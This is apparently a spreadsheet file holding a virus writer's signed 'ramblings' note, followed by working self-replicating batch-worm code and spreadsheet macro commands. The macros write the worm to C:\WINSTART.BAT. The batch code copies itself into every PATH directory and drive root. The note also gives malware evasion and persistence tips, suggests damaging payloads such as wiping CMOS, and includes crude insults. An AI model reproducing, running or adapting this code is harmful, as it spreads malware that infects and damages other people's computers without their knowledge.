

## Sheet1

-=Q=- ramblings.

I just wanted to create some cool and unusual virii. I have never released any into the wild but I must say that whoever attached Gold-Bug to DOOM II must be congratulated. I also think that it is cool that it would be a copywrite infringement to remove my Da'Boys virus. I hope that my Morality Play virus actually creates some comotion in the AV community about the moral justification of it's removal. So far I haven't seen it on any AV product hit list. I really enjoyed AVP's writeup on my WINSTART.BAT worm (one of their longest). I think Qark of VLAD is one of the best virii writers (nice to have another Star Trek virus writer). I think my Q-Ball and 8-Ball virii are fairly unique (virii is a non-executable file). I also think that going resident in the HMA is one of the slickest and easiest ways to go memory resident (try it sometime, I haven't seen anyone else do it). If you are going to write Boot sector Virii exploit AX=4A06 INT 2F so CHKDSK still shows 655360 Bytes (see my PURPLE:CUM). Try to be different. Try to be better than any other virus writers. Thanks for including me in the survey of best Virii writers for VLAD. Never join a virii writers group and never tell anyone (people don't seem to quite understand a twisted mind). Don't bother to write your virii comments like Patti. The bitch does'nt ever use them. John Make-A-Fee's software sucks the sweat off a dead-mans balls. AVP, TBAV and F-Prot rule. I believe it was Dark Slayer that said "If you don't want a computer virus, don't own a computer", I fully agree. Don't put a dangerous payload in a virii. A stinger of a payload should be all that is needed (blow CMOS, disable a port, make modem answer phone, disable keyboard key lock, dismount a compressed drive, shake the display etc). Don't write virions (unless the program is still fully functional). Misspell alot (it's an uncreative person that thinks there is only one spelling of each word; hey we got grey and gray that way). Use anonymous remailers. Use misinformation. Always have an opposing opinion. VDAT is a whole lot better than VSUM. Don't panic. 42.

Until later,

"Q" The Misanthrope.

P.S. You now have a new virus in your root directory.

If you want to see how I did it then do a {HOME}/FCCERAMBLE~{GOTO}A8167~

```
[VIRUS]
@ECHO OFF
IF "%1"=="/" GOTO SET_NAME
IF EXIST %0.BAT %COMSPEC% /F /E:2048 /C%0.BAT / %PATH%
IF NOT EXIST %0.BAT %COMSPEC% /F /E:2048 /C%0 / %PATH%
GOTO END
:SET_NAME
SET DR=A B C
IF "%winbootdir%"==" " SET DR=C
SET RAMBLE=%0
CTTY NUL
:LOOP
IF "%2"==" " GOTO COPY_HERE
IF EXIST %2\NUL IF NOT EXIST %2\WINSTART.BAT COPY %RAMBLE% %2\WINSTART.BAT
SHIFT
GOTO LOOP
:COPY_HERE
```

Sheet1

```
FOR %%A IN (%DR% D E F G H I J K) DO IF EXIST %%A:\NUL IF NOT EXIST %%A:\WINSTART.BAT COPY %RAMBLE%  
CTTY CON  
EXIT  
:END
```

```
[0]  
{HOME}{WINDOWSOFF}{PANELOFF}/WGRM/PF{ESC}C:\WINSTART.BAT~RRR{ESC}VIRUS~OOUQGQ  
/RNDVIRUS~/RNDI0~/WGRA/REA8167..A8191
